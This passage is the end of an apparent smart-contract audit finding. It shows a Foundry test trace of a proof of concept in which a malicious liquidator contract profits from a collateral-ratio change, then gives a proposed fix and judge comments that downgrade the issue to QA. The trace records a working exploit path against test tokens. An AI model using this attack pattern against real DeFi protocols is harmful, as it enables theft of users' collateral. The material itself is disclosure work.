276086746455736392 [2.76e17]) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912], value: 276086746455736392 [2.76e17]) │ │ │ └─ ← true │ │ ├─ [19948] TestERC20::transfer(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 9998619567 [9.998e9]) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 9998619567 [9.998e9]) │ │ │ └─ ← true │ │ ├─ [19948] TestERC20::transfer(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 1999723913253544263608 [1.999e21]) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 1999723913253544263608 [1.999e21]) │ │ │ └─ ← true │ │ ├─ [25756] Liquidizer::incrementBurnableUSDS(3353750000000000000000000 [3.353e24]) │ │ │ ├─ emit incrementedBurnableUSDS(newTotal: 3353750000000000000000000 [3.353e24]) │ │ │ └─ ← () │ │ ├─ emit Liquidation(liquidator: MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912], liquidatee: 0x0000000000000000000000000000000000001111, reclaimedWBTC: 10000000000 [1e10], reclaimedWETH: 2000000000000000000000 [2e21], originallyBorrowedUSDS: 3353750000000000000000000 [3.353e24]) │ │ └─ ← () │ └─ ← () ├─ [5984] MaliciousLiquidizerContract::transferTokensToOwner(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98]) │ ├─ [561] TestERC20::balanceOf(MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912]) [staticcall] │ │ └─ ← 1380433 [1.38e6] │ ├─ [4668] TestERC20::transfer(0x0000000000000000000000000000000000002222, 1380433 [1.38e6]) │ │ ├─ emit Transfer(from: MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912], to: 0x0000000000000000000000000000000000002222, value: 1380433 [1.38e6]) │ │ └─ ← true │ └─ ← () ├─ [5984] MaliciousLiquidizerContract::transferTokensToOwner(TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) │ ├─ [561] TestERC20::balanceOf(MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912]) [staticcall] │ │ └─ ← 276086746455736392 [2.76e17] │ ├─ [4668] TestERC20::transfer(0x0000000000000000000000000000000000002222, 276086746455736392 [2.76e17]) │ │ ├─ emit Transfer(from: MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912], to: 0x0000000000000000000000000000000000002222, value: 276086746455736392 [2.76e17]) │ │ └─ ← true │ └─ ← () ├─ [561] TestERC20::balanceOf(0x0000000000000000000000000000000000002222) [staticcall] │ └─ ← 25001380433 [2.5e10] ├─ [561] TestERC20::balanceOf(0x0000000000000000000000000000000000002222) [staticcall] │ └─ ← 250000276086746455736392 [2.5e23] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000151051000000000000000000000000000000000000000000000000000000000000001341747461636b6572204254432070726f66697400000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000003d4db6ee1b00048000000000000000000000000000000000000000000000000000000000000001341747461636b6572204554482070726f66697400000000000000000000000000) [staticcall] │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 10.65s
Manual review
When a user borrows any amount of USDS for the first time, register the current minimumCollateralRatioPercent
so if it is increased, he will not be affected and will not be able to be liquidized immediately after that change.
Note that with this feature, a user could change his registered minimumCollateralRatioPercent
by repaying all his USDS and borrowing again.
Other
#0 - c4-judge
2024-02-03T09:48:28Z
Picodes marked the issue as duplicate of #626
#1 - c4-judge
2024-02-20T16:05:06Z
Picodes changed the severity to QA (Quality Assurance)
#2 - c4-judge
2024-02-21T17:05:13Z
Picodes marked the issue as grade-b